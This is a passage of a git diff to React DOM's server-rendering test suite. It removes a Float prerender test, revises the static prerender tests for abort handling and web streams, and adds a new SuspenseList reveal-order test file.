-        <Suspense fallback="loading...">
-          <Outer>
-            <Middle>
-              <Inner />
-            </Middle>
-          </Outer>
-        </Suspense>
-      );
-    }
-
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
-    );
-    const postponedState = JSON.stringify(prerendered.postponed);
-
-    await readIntoContainer(prerendered.prelude);
-    expect(getVisibleChildren(container)).toEqual('loading...');
-
-    isPrerendering = false;
+    await resolve();
 
     const dynamic = await serverAct(() =>
       ReactDOMFizzServer.resume(<App />, JSON.parse(postponedState)),
     );
 
     await readIntoContainer(dynamic);
-    expect(getVisibleChildren(container)).toEqual('hello');
+
+    expect(getVisibleChildren(container)).toEqual(<div>Hi</div>);
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMFizzStaticFloat-test.js b/packages/react-dom/src/__tests__/ReactDOMFizzStaticFloat-test.js
deleted file mode 100644
index baa65c806c0b..000000000000
--- a/packages/react-dom/src/__tests__/ReactDOMFizzStaticFloat-test.js
+++ /dev/null
@@ -1,296 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @emails react-core
- */
-
-'use strict';
-
-import {patchMessageChannel} from '../../../../scripts/jest/patchMessageChannel';
-
-import {
-  getVisibleChildren,
-  insertNodesAndExecuteScripts,
-} from '../test-utils/FizzTestUtils';
-
-// Polyfills for test environment
-global.ReadableStream =
-  require('web-streams-polyfill/ponyfill/es6').ReadableStream;
-global.TextEncoder = require('util').TextEncoder;
-
-let React;
-let ReactDOM;
-let ReactDOMFizzServer;
-let ReactDOMFizzStatic;
-let Suspense;
-let container;
-let Scheduler;
-let act;
-
-describe('ReactDOMFizzStaticFloat', () => {
-  beforeEach(() => {
-    jest.resetModules();
-    Scheduler = require('scheduler');
-    patchMessageChannel(Scheduler);
-    act = require('internal-test-utils').act;
-
-    React = require('react');
-    ReactDOM = require('react-dom');
-    ReactDOMFizzServer = require('react-dom/server.browser');
-    if (__EXPERIMENTAL__) {
-      ReactDOMFizzStatic = require('react-dom/static.browser');
-    }
-    Suspense = React.Suspense;
-    container = document.createElement('div');
-    document.body.appendChild(container);
-  });
-
-  afterEach(() => {
-    document.body.removeChild(container);
-  });
-
-  async function serverAct(callback) {
-    let maybePromise;
-    await act(() => {
-      maybePromise = callback();
-      if (maybePromise && typeof maybePromise.catch === 'function') {
-        maybePromise.catch(() => {});
-      }
-    });
-    return maybePromise;
-  }
-
-  async function readIntoContainer(stream) {
-    const reader = stream.getReader();
-    let result = '';
-    while (true) {
-      const {done, value} = await reader.read();
-      if (done) {
-        break;
-      }
-      result += Buffer.from(value).toString('utf8');
-    }
-    const temp = document.createElement('div');
-    temp.innerHTML = result;
-    await insertNodesAndExecuteScripts(temp, container, null);
-  }
-
-  // @gate enablePostpone
-  it('should transfer connection credentials across prerender and resume for stylesheets, scripts, and moduleScripts', async () => {
-    let prerendering = true;
-    function Postpone() {
-      if (prerendering) {
-        React.unstable_postpone();
-      }
-      return (
-        <>
-          <link rel="stylesheet" href="style creds" precedence="default" />
-          <script async={true} src="script creds" data-meaningful="" />
-          <script
-            type="module"
-            async={true}
-            src="module creds"
-            data-meaningful=""
-          />
-          <link rel="stylesheet" href="style anon" precedence="default" />
-          <script async={true} src="script anon" data-meaningful="" />
-          <script
-            type="module"
-            async={true}
-            src="module default"
-            data-meaningful=""
-          />
-        </>
-      );
-    }
-
-    function App() {
-      ReactDOM.preload('style creds', {
-        as: 'style',
-        crossOrigin: 'use-credentials',
-      });
-      ReactDOM.preload('script creds', {
-        as: 'script',
-        crossOrigin: 'use-credentials',
-        integrity: 'script-hash',
-      });
-      ReactDOM.preloadModule('module creds', {
-        crossOrigin: 'use-credentials',
-        integrity: 'module-hash',
-      });
-      ReactDOM.preload('style anon', {
-        as: 'style',
-        crossOrigin: 'anonymous',
-      });
-      ReactDOM.preload('script anon', {
-        as: 'script',
-        crossOrigin: 'foobar',
-      });
-      ReactDOM.preloadModule('module default', {
-        integrity: 'module-hash',
-      });
-      return (
-        <div>
-          <Suspense fallback="Loading...">
-            <Postpone />
-          </Suspense>
-        </div>
-      );
-    }
-
-    jest.mock('script creds', () => {}, {
-      virtual: true,
-    });
-    jest.mock('module creds', () => {}, {
-      virtual: true,
-    });
-    jest.mock('script anon', () => {}, {
-      virtual: true,
-    });
-    jest.mock('module default', () => {}, {
-      virtual: true,
-    });
-
-    const prerendered = await serverAct(() =>
-      ReactDOMFizzStatic.prerender(<App />),
-    );
-    expect(prerendered.postponed).not.toBe(null);
-
-    await readIntoContainer(prerendered.prelude);
-
-    expect(getVisibleChildren(container)).toEqual([
-      <link
-        rel="preload"
-        as="style"
-        href="style creds"
-        crossorigin="use-credentials"
-      />,
-      <link
-        rel="preload"
-        as="script"
-        href="script creds"
-        crossorigin="use-credentials"
-        integrity="script-hash"
-      />,
-      <link
-        rel="modulepreload"
-        href="module creds"
-        crossorigin="use-credentials"
-        integrity="module-hash"
-      />,
-      <link rel="preload" as="style" href="style anon" crossorigin="" />,
-      <link rel="preload" as="script" href="script anon" crossorigin="" />,
-      <link
-        rel="modulepreload"
-        href="module default"
-        integrity="module-hash"
-      />,
-      <div>Loading...</div>,
-    ]);
-
-    prerendering = false;
-    const content = await serverAct(() =>
-      ReactDOMFizzServer.resume(
-        <App />,
-        JSON.parse(JSON.stringify(prerendered.postponed)),
-      ),
-    );
-
-    await readIntoContainer(content);
-
-    await act(() => {
-      // Dispatch load event to injected stylesheet
-      const linkCreds = document.querySelector(
-        'link[rel="stylesheet"][href="style creds"]',
-      );
-      const linkAnon = document.querySelector(
-        'link[rel="stylesheet"][href="style anon"]',
-      );
-      const event = document.createEvent('Events');
-      event.initEvent('load', true, true);
-      linkCreds.dispatchEvent(event);
-      linkAnon.dispatchEvent(event);
-    });
-
-    expect(getVisibleChildren(document)).toEqual(
-      <html>
-        <head>
-          <link
-            rel="stylesheet"
-            data-precedence="default"
-            href="style creds"
-            crossorigin="use-credentials"
-          />
-          <link
-            rel="stylesheet"
-            data-precedence="default"
-            href="style anon"
-            crossorigin=""
-          />
-        </head>
-        <body>
-          <div>
-            <link
-              rel="preload"
-              as="style"
-              href="style creds"
-              crossorigin="use-credentials"
-            />
-            <link
-              rel="preload"
-              as="script"
-              href="script creds"
-              crossorigin="use-credentials"
-              integrity="script-hash"
-            />
-            <link
-              rel="modulepreload"
-              href="module creds"
-              crossorigin="use-credentials"
-              integrity="module-hash"
-            />
-            <link rel="preload" as="style" href="style anon" crossorigin="" />
-            <link rel="preload" as="script" href="script anon" crossorigin="" />
-            <link
-              rel="modulepreload"
-              href="module default"
-              integrity="module-hash"
-            />
-            <div />
-            <script
-              async=""
-              src="script creds"
-              crossorigin="use-credentials"
-              integrity="script-hash"
-              data-meaningful=""
-            />
-            <script
-              type="module"
-              async=""
-              src="module creds"
-              crossorigin="use-credentials"
-              integrity="module-hash"
-              data-meaningful=""
-            />
-            <script
-              async=""
-              src="script anon"
-              crossorigin=""
-              data-meaningful=""
-            />
-            <script
-              type="module"
-              async=""
-              src="module default"
-              integrity="module-hash"
-              data-meaningful=""
-            />
-          </div>
-        </body>
-      </html>,
-    );
-  });
-});
diff --git a/packages/react-dom/src/__tests__/ReactDOMFizzStaticNode-test.js b/packages/react-dom/src/__tests__/ReactDOMFizzStaticNode-test.js
index e0adcfece078..83bc6cb5d306 100644
--- a/packages/react-dom/src/__tests__/ReactDOMFizzStaticNode-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMFizzStaticNode-test.js
@@ -18,9 +18,7 @@ describe('ReactDOMFizzStaticNode', () => {
   beforeEach(() => {
     jest.resetModules();
     React = require('react');
-    if (__EXPERIMENTAL__) {
-      ReactDOMFizzStatic = require('react-dom/static');
-    }
+    ReactDOMFizzStatic = require('react-dom/static');
     Suspense = React.Suspense;
   });
 
@@ -46,7 +44,18 @@ describe('ReactDOMFizzStaticNode', () => {
     });
   }
 
-  // @gate experimental
+  async function readContentWeb(stream) {
+    const reader = stream.getReader();
+    let content = '';
+    while (true) {
+      const {done, value} = await reader.read();
+      if (done) {
+        return content;
+      }
+      content += Buffer.from(value).toString('utf8');
+    }
+  }
+
   it('should call prerenderToNodeStream', async () => {
     const result = await ReactDOMFizzStatic.prerenderToNodeStream(
       <div>hello world</div>,
@@ -55,7 +64,12 @@ describe('ReactDOMFizzStaticNode', () => {
     expect(prelude).toMatchInlineSnapshot(`"<div>hello world</div>"`);
   });
 
-  // @gate experimental
+  it('should suppport web streams', async () => {
+    const result = await ReactDOMFizzStatic.prerender(<div>hello world</div>);
+    const prelude = await readContentWeb(result.prelude);
+    expect(prelude).toMatchInlineSnapshot(`"<div>hello world</div>"`);
+  });
+
   it('should emit DOCTYPE at the root of the document', async () => {
     const result = await ReactDOMFizzStatic.prerenderToNodeStream(
       <html>
@@ -63,12 +77,17 @@ describe('ReactDOMFizzStaticNode', () => {
       </html>,
     );
     const prelude = await readContent(result.prelude);
-    expect(prelude).toMatchInlineSnapshot(
-      `"<!DOCTYPE html><html><head></head><body>hello world</body></html>"`,
-    );
+    if (gate(flags => flags.enableFizzBlockingRender)) {
+      expect(prelude).toMatchInlineSnapshot(
+        `"<!DOCTYPE html><html><head><link rel="expect" href="#_R_" blocking="render"/></head><body>hello world<template id="_R_"></template></body></html>"`,
+      );
+    } else {
+      expect(prelude).toMatchInlineSnapshot(
+        `"<!DOCTYPE html><html><head></head><body>hello world</body></html>"`,
+      );
+    }
   });
 
-  // @gate experimental
   it('should emit bootstrap script src at the end', async () => {
     const result = await ReactDOMFizzStatic.prerenderToNodeStream(
       <div>hello world</div>,
@@ -80,11 +99,10 @@ describe('ReactDOMFizzStaticNode', () => {
     );
     const prelude = await readContent(result.prelude);
     expect(prelude).toMatchInlineSnapshot(
-      `"<link rel="preload" as="script" fetchPriority="low" href="init.js"/><link rel="modulepreload" fetchPriority="low" href="init.mjs"/><div>hello world</div><script>INIT();</script><script src="init.js" async=""></script><script type="module" src="init.mjs" async=""></script>"`,
+      `"<link rel="preload" as="script" fetchPriority="low" href="init.js"/><link rel="modulepreload" fetchPriority="low" href="init.mjs"/><div>hello world</div><script id="_R_">INIT();</script><script src="init.js" async=""></script><script type="module" src="init.mjs" async=""></script>"`,
     );
   });
 
-  // @gate experimental
   it('emits all HTML as one unit', async () => {
     let hasLoaded = false;
     let resolve;
@@ -111,12 +129,9 @@ describe('ReactDOMFizzStaticNode', () => {
 
     const result = await resultPromise;
     const prelude = await readContent(result.prelude);
-    expect(prelude).toMatchInlineSnapshot(
-      `"<div><!--$-->Done<!-- --><!--/$--></div>"`,
-    );
+    expect(prelude).toMatchInlineSnapshot(`"<div><!--$-->Done<!--/$--></div>"`);
   });
 
-  // @gate experimental
   it('should reject the promise when an error is thrown at the root', async () => {
     const reportedErrors = [];
     let caughtError = null;
@@ -138,7 +153,6 @@ describe('ReactDOMFizzStaticNode', () => {
     expect(reportedErrors).toEqual([theError]);
   });
 
-  // @gate experimental
   it('should reject the promise when an error is thrown inside a fallback', async () => {
     const reportedErrors = [];
     let caughtError = null;
@@ -162,7 +176,6 @@ describe('ReactDOMFizzStaticNode', () => {
     expect(reportedErrors).toEqual([theError]);
   });
 
-  // @gate experimental
   it('should not error the stream when an error is thrown inside suspense boundary', async () => {
     const reportedErrors = [];
     const result = await ReactDOMFizzStatic.prerenderToNodeStream(
@@ -183,7 +196,6 @@ describe('ReactDOMFizzStaticNode', () => {
     expect(reportedErrors).toEqual([theError]);
   });
 
-  // @gate experimental
   it('should be able to complete by aborting even if the promise never resolves', async () => {
     const errors = [];
     const controller = new AbortController();
@@ -213,8 +225,7 @@ describe('ReactDOMFizzStaticNode', () => {
     expect(errors).toEqual(['This operation was aborted']);
   });
 
-  // @gate experimental
-  it('should reject if aborting before the shell is complete', async () => {
+  it('should resolve an empty shell if aborting before the shell is complete', async () => {
     const errors = [];
     const controller = new AbortController();
     const promise = ReactDOMFizzStatic.prerenderToNodeStream(
@@ -234,17 +245,19 @@ describe('ReactDOMFizzStaticNode', () => {
     const theReason = new Error('aborted for reasons');
     controller.abort(theReason);
 
-    let caughtError = null;
+    let didThrow = false;
+    let prelude;
     try {
-      await promise;
+      ({prelude} = await promise);
     } catch (error) {
-      caughtError = error;
+      didThrow = true;
     }
-    expect(caughtError).toBe(theReason);
+    expect(didThrow).toBe(false);
     expect(errors).toEqual(['aborted for reasons']);
+    const content = await readContent(prelude);
+    expect(content).toBe('');
   });
 
-  // @gate experimental
   it('should be able to abort before something suspends', async () => {
     const errors = [];
     const controller = new AbortController();
@@ -268,18 +281,13 @@ describe('ReactDOMFizzStaticNode', () => {
       },
     );
 
-    let caughtError = null;
-    try {
-      await streamPromise;
-    } catch (error) {
-      caughtError = error;
-    }
-    expect(caughtError.message).toBe('This operation was aborted');
+    const {prelude} = await streamPromise;
+    const content = await readContent(prelude);
     expect(errors).toEqual(['This operation was aborted']);
+    expect(content).toBe('');
   });
 
-  // @gate experimental
-  it('should reject if passing an already aborted signal', async () => {
+  it('should resolve with an empty prelude if passing an already aborted signal', async () => {
     const errors = [];
     const controller = new AbortController();
     const theReason = new Error('aborted for reasons');
@@ -301,17 +309,20 @@ describe('ReactDOMFizzStaticNode', () => {
 
     // Technically we could still continue rendering the shell but currently the
     // semantics mean that we also abort any pending CPU work.
-    let caughtError = null;
+
+    let didThrow = false;
+    let prelude;
     try {
-      await promise;
+      ({prelude} = await promise);
     } catch (error) {
-      caughtError = error;
+      didThrow = true;
     }
-    expect(caughtError).toBe(theReason);
+    expect(didThrow).toBe(false);
     expect(errors).toEqual(['aborted for reasons']);
+    const content = await readContent(prelude);
+    expect(content).toBe('');
   });
 
-  // @gate experimental
   it('supports custom abort reasons with a string', async () => {
     const promise = new Promise(r => {});
     function Wait() {
@@ -353,7 +364,6 @@ describe('ReactDOMFizzStaticNode', () => {
     expect(errors).toEqual(['foobar', 'foobar']);
   });
 
-  // @gate experimental
   it('supports custom abort reasons with an Error', async () => {
     const promise = new Promise(r => {});
     function Wait() {
diff --git a/packages/react-dom/src/__tests__/ReactDOMFizzSuppressHydrationWarning-test.js b/packages/react-dom/src/__tests__/ReactDOMFizzSuppressHydrationWarning-test.js
index 7f893234c613..b1a7ee70d0ba 100644
--- a/packages/react-dom/src/__tests__/ReactDOMFizzSuppressHydrationWarning-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMFizzSuppressHydrationWarning-test.js
@@ -135,8 +135,8 @@ describe('ReactDOMFizzServerHydrationWarning', () => {
     return children.length === 0
       ? undefined
       : children.length === 1
-      ? children[0]
-      : children;
+        ? children[0]
+        : children;
   }
 
   it('suppresses but does not fix text mismatches with suppressHydrationWarning', async () => {
diff --git a/packages/react-dom/src/__tests__/ReactDOMFizzSuspenseList-test.js b/packages/react-dom/src/__tests__/ReactDOMFizzSuspenseList-test.js
new file mode 100644
index 000000000000..0e2fff5cd451
--- /dev/null
+++ b/packages/react-dom/src/__tests__/ReactDOMFizzSuspenseList-test.js
@@ -0,0 +1,989 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment
+ */
+
+'use strict';
+import {
+  insertNodesAndExecuteScripts,
+  getVisibleChildren,
+} from '../test-utils/FizzTestUtils';
+
+let JSDOM;
+let React;
+let Suspense;
+let SuspenseList;
+let assertLog;
+let Scheduler;
+let ReactDOMFizzServer;
+let Stream;
+let document;
+let writable;
+let container;
+let buffer = '';
+let hasErrored = false;
+let hasCompleted = false;
+let fatalError = undefined;
+
+describe('ReactDOMFizzSuspenseList', () => {
+  beforeEach(() => {
+    jest.resetModules();
+    JSDOM = require('jsdom').JSDOM;
+    React = require('react');
+    assertLog = require('internal-test-utils').assertLog;
+    ReactDOMFizzServer = require('react-dom/server');
+    Stream = require('stream');
+
+    Suspense = React.Suspense;
+    SuspenseList = React.unstable_SuspenseList;
+
+    Scheduler = require('scheduler');
+
+    // Test Environment
+    const jsdom = new JSDOM(
+      '<!DOCTYPE html><html><head></head><body><div id="container">',
+      {
+        runScripts: 'dangerously',
+      },
+    );
+    document = jsdom.window.document;
+    container = document.getElementById('container');
+    global.window = jsdom.window;
+    // The Fizz runtime assumes requestAnimationFrame exists so we need to polyfill it.
+    global.requestAnimationFrame = global.window.requestAnimationFrame = cb =>
+      setTimeout(cb);
+
+    buffer = '';
+    hasErrored = false;
+    hasCompleted = false;
+
+    writable = new Stream.PassThrough();
+    writable.setEncoding('utf8');
+    writable.on('data', chunk => {
+      buffer += chunk;
+    });
+    writable.on('error', error => {
+      hasErrored = true;
+      fatalError = error;
+    });
+    writable.on('finish', () => {
+      hasCompleted = true;
+    });
+  });
+
+  afterEach(() => {
+    jest.restoreAllMocks();
+  });
+
+  async function serverAct(callback) {
+    await callback();
+    // Await one turn around the event loop.
+    // This assumes that we'll flush everything we have so far.
+    await new Promise(resolve => {
+      setImmediate(resolve);
+    });
+    if (hasErrored) {
+      throw fatalError;
+    }
+    // JSDOM doesn't support stream HTML parser so we need to give it a proper fragment.
+    // We also want to execute any scripts that are embedded.
+    // We assume that we have now received a proper fragment of HTML.
+    const bufferedContent = buffer;
+    buffer = '';
+    const temp = document.createElement('body');
+    temp.innerHTML = bufferedContent;
+    await insertNodesAndExecuteScripts(temp, container, null);
+    jest.runAllTimers();
+  }
+
+  function Text(props) {
+    Scheduler.log(props.text);
+    return <span>{props.text}</span>;
+  }
+
+  function createAsyncText(text) {
+    let resolved = false;
+    let error = undefined;
+    const Component = function () {
+      if (error !== undefined) {
+        Scheduler.log('Error! [' + error.message + ']');
+        throw error;
+      }
+      if (!resolved) {
+        Scheduler.log('Suspend! [' + text + ']');
+        throw promise;
+      }
+      return <Text text={text} />;
+    };
+    const promise = new Promise(resolve => {
+      Component.resolve = function () {
+        resolved = true;
+        return resolve();
+      };
+      Component.reject = function (e) {
+        error = e;
+        return resolve();
+      };
+    });
+    return Component;
+  }
+
+  // @gate enableSuspenseList
+  it('shows content forwards by default', async () => {
+    const A = createAsyncText('A');
+    const B = createAsyncText('B');
+    const C = createAsyncText('C');
+
+    function Foo() {
+      return (
+        <div>
+          <SuspenseList>
+            <Suspense fallback={<Text text="Loading A" />}>
+              <A />
+            </Suspense>
+            <Suspense fallback={<Text text="Loading B" />}>
+              <B />
+            </Suspense>
+            <Suspense fallback={<Text text="Loading C" />}>
+              <C />
+            </Suspense>
+          </SuspenseList>
+        </div>
+      );
+    }
+
+    await C.resolve();
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+
+    assertLog([
+      'Suspend! [A]',
+      'Suspend! [B]', // TODO: Defer rendering the content after fallback if previous suspended,
+      'C',
+      'Loading A',
+      'Loading B',
+      'Loading C',
+    ]);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>Loading A</span>
+        <span>Loading B</span>
+        <span>Loading C</span>
+      </div>,
+    );
+
+    await serverAct(() => A.resolve());
+    assertLog(['A']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>A</span>
+        <span>Loading B</span>
+        <span>Loading C</span>
+      </div>,
+    );
+
+    await serverAct(() => B.resolve());
+    assertLog(['B']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>A</span>
+        <span>B</span>
+        <span>C</span>
+      </div>,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('independently with revealOrder="independent"', async () => {
+    const A = createAsyncText('A');
+    const B = createAsyncText('B');
+    const C = createAsyncText('C');
+
+    function Foo() {
+      return (
+        <div>
+          <SuspenseList revealOrder="independent">
+            <Suspense fallback={<Text text="Loading A" />}>
+              <A />
+            </Suspense>
+            <Suspense fallback={<Text text="Loading B" />}>
+              <B />
+            </Suspense>
+            <Suspense fallback={<Text text="Loading C" />}>
+              <C />
+            </Suspense>
+          </SuspenseList>
+        </div>
+      );
+    }
+
+    await A.resolve();
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+
+    assertLog(['A', 'Suspend! [B]', 'Suspend! [C]', 'Loading B', 'Loading C']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>A</span>
+        <span>Loading B</span>
+        <span>Loading C</span>
+      </div>,
+    );
+
+    await serverAct(() => C.resolve());
+    assertLog(['C']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>A</span>
+        <span>Loading B</span>
+        <span>C</span>
+      </div>,
+    );
+
+    await serverAct(() => B.resolve());
+    assertLog(['B']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>A</span>
+        <span>B</span>
+        <span>C</span>
+      </div>,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('displays all "together"', async () => {
+    const A = createAsyncText('A');
+    const B = createAsyncText('B');
+    const C = createAsyncText('C');
+
+    function Foo() {
+      return (
+        <div>
+          <SuspenseList revealOrder="together">
+            <Suspense fallback={<Text text="Loading A" />}>
+              <A />
+            </Suspense>
+            <Suspense fallback={<Text text="Loading B" />}>
+              <B />
+            </Suspense>
+            <Suspense fallback={<Text text="Loading C" />}>
+              <C />
+            </Suspense>
+          </SuspenseList>
+        </div>
+      );
+    }
+
+    await A.resolve();
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+
+    assertLog([
+      'A',
+      'Suspend! [B]',
+      'Suspend! [C]',
+      'Loading A',
+      'Loading B',
+      'Loading C',
+    ]);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>Loading A</span>
+        <span>Loading B</span>
+        <span>Loading C</span>
+      </div>,
+    );
+
+    await serverAct(() => B.resolve());
+    assertLog(['B']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>Loading A</span>
+        <span>Loading B</span>
+        <span>Loading C</span>
+      </div>,
+    );
+
+    await serverAct(() => C.resolve());
+    assertLog(['C']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>A</span>
+        <span>B</span>
+        <span>C</span>
+      </div>,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('displays all "together" in a single pass', async () => {
+    function Foo() {
+      return (
+        <div>
+          <SuspenseList revealOrder="together">
+            <Suspense fallback={<Text text="Loading A" />}>
+              <Text text="A" />
+            </Suspense>
+            <Suspense fallback={<Text text="Loading B" />}>
+              <Text text="B" />
+            </Suspense>
+            <Suspense fallback={<Text text="Loading C" />}>
+              <Text text="C" />
+            </Suspense>
+          </SuspenseList>
+        </div>
+      );
+    }
+
+    const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);
+    pipe(writable);
+    await 0;
+    const bufferedContent = buffer;
+    buffer = '';
+
+    assertLog(['A', 'B', 'C', 'Loading A', 'Loading B', 'Loading C']);
+
+    expect(bufferedContent).toMatchInlineSnapshot(
+      `"<div><!--$--><span>A</span><!--/$--><!--$--><span>B</span><!--/$--><!--$--><span>C</span><!--/$--></div>"`,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('displays all "together" even when nested as siblings', async () => {
+    const A = createAsyncText('A');
+    const B = createAsyncText('B');
+    const C = createAsyncText('C');
+
+    function Foo() {
+      return (
+        <div>
+          <SuspenseList revealOrder="together">
+            <div>
+              <Suspense fallback={<Text text="Loading A" />}>
+                <A />
+              </Suspense>
+              <Suspense fallback={<Text text="Loading B" />}>
+                <B />
+              </Suspense>
+            </div>
+            <div>
+              <Suspense fallback={<Text text="Loading C" />}>
+                <C />
+              </Suspense>
+            </div>
+          </SuspenseList>
+        </div>
+      );
+    }
+
+    await A.resolve();
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+
+    assertLog([
+      'A',
+      'Suspend! [B]',
+      'Suspend! [C]',
+      'Loading A',
+      'Loading B',
+      'Loading C',
+    ]);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <div>
+          <span>Loading A</span>
+          <span>Loading B</span>
+        </div>
+        <div>
+          <span>Loading C</span>
+        </div>
+      </div>,
+    );
+
+    await serverAct(() => B.resolve());
+    assertLog(['B']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <div>
+          <span>Loading A</span>
+          <span>Loading B</span>
+        </div>
+        <div>
+          <span>Loading C</span>
+        </div>
+      </div>,
+    );
+
+    await serverAct(() => C.resolve());
+    assertLog(['C']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <div>
+          <span>A</span>
+          <span>B</span>
+        </div>
+        <div>
+          <span>C</span>
+        </div>
+      </div>,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('displays all "together" in nested SuspenseLists', async () => {
+    const A = createAsyncText('A');
+    const B = createAsyncText('B');
+    const C = createAsyncText('C');
+
+    function Foo() {
+      return (
+        <div>
+          <SuspenseList revealOrder="together">
+            <Suspense fallback={<Text text="Loading A" />}>
+              <A />
+            </Suspense>
+            <SuspenseList revealOrder="together">
+              <Suspense fallback={<Text text="Loading B" />}>
+                <B />
+              </Suspense>
+              <Suspense fallback={<Text text="Loading C" />}>
+                <C />
+              </Suspense>
+            </SuspenseList>
+          </SuspenseList>
+        </div>
+      );
+    }
+
+    await A.resolve();
+    await B.resolve();
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+
+    assertLog([
+      'A',
+      'B',
+      'Suspend! [C]',
+      'Loading A',
+      'Loading B',
+      'Loading C',
+    ]);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>Loading A</span>
+        <span>Loading B</span>
+        <span>Loading C</span>
+      </div>,
+    );
+
+    await serverAct(() => C.resolve());
+    assertLog(['C']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>A</span>
+        <span>B</span>
+        <span>C</span>
+      </div>,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('displays all "together" in nested SuspenseLists where the inner is "independent"', async () => {
+    const A = createAsyncText('A');
+    const B = createAsyncText('B');
+    const C = createAsyncText('C');
+
+    function Foo() {
+      return (
+        <div>
+          <SuspenseList revealOrder="together">
+            <Suspense fallback={<Text text="Loading A" />}>
+              <A />
+            </Suspense>
+            <SuspenseList revealOrder="independent">
+              <Suspense fallback={<Text text="Loading B" />}>
+                <B />
+              </Suspense>
+              <Suspense fallback={<Text text="Loading C" />}>
+                <C />
+              </Suspense>
+            </SuspenseList>
+          </SuspenseList>
+        </div>
+      );
+    }
+
+    await A.resolve();
+    await B.resolve();
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+
+    assertLog([
+      'A',
+      'B',
+      'Suspend! [C]',
+      'Loading A',
+      'Loading B',
+      'Loading C',
+    ]);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>Loading A</span>
+        <span>Loading B</span>
+        <span>Loading C</span>
+      </div>,
+    );
+
+    await serverAct(() => C.resolve());
+    assertLog(['C']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>A</span>
+        <span>B</span>
+        <span>C</span>
+      </div>,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('displays each items in "forwards" order', async () => {
+    const A = createAsyncText('A');
+    const B = createAsyncText('B');
+    const C = createAsyncText('C');
+
+    function Foo() {
+      return (
+        <div>
+          <SuspenseList revealOrder="forwards" tail="visible">
+            <Suspense fallback={<Text text="Loading A" />}>
+              <A />
+            </Suspense>
+            <Suspense fallback={<Text text="Loading B" />}>
+              <B />
+            </Suspense>
+            <Suspense fallback={<Text text="Loading C" />}>
+              <C />
+            </Suspense>
+          </SuspenseList>
+        </div>
+      );
+    }
+
+    await C.resolve();
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+
+    assertLog([
+      'Suspend! [A]',
+      'Suspend! [B]', // TODO: Defer rendering the content after fallback if previous suspended,
+      'C',
+      'Loading A',
+      'Loading B',
+      'Loading C',
+    ]);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>Loading A</span>
+        <span>Loading B</span>
+        <span>Loading C</span>
+      </div>,
+    );
+
+    await serverAct(() => A.resolve());
+    assertLog(['A']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>A</span>
+        <span>Loading B</span>
+        <span>Loading C</span>
+      </div>,
+    );
+
+    await serverAct(() => B.resolve());
+    assertLog(['B']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>A</span>
+        <span>B</span>
+        <span>C</span>
+      </div>,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('displays each items in "backwards" mount order', async () => {
+    const A = createAsyncText('A');
+    const B = createAsyncText('B');
+    const C = createAsyncText('C');
+
+    function Foo() {
+      return (
+        <div>
+          <SuspenseList revealOrder="backwards" tail="visible">
+            <Suspense fallback={<Text text="Loading C" />}>
+              <C />
+            </Suspense>
+            <Suspense fallback={<Text text="Loading B" />}>
+              <B />
+            </Suspense>
+            <Suspense fallback={<Text text="Loading A" />}>
+              <A />
+            </Suspense>
+          </SuspenseList>
+        </div>
+      );
+    }
+
+    await A.resolve();
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+
+    assertLog([
+      'Suspend! [C]',
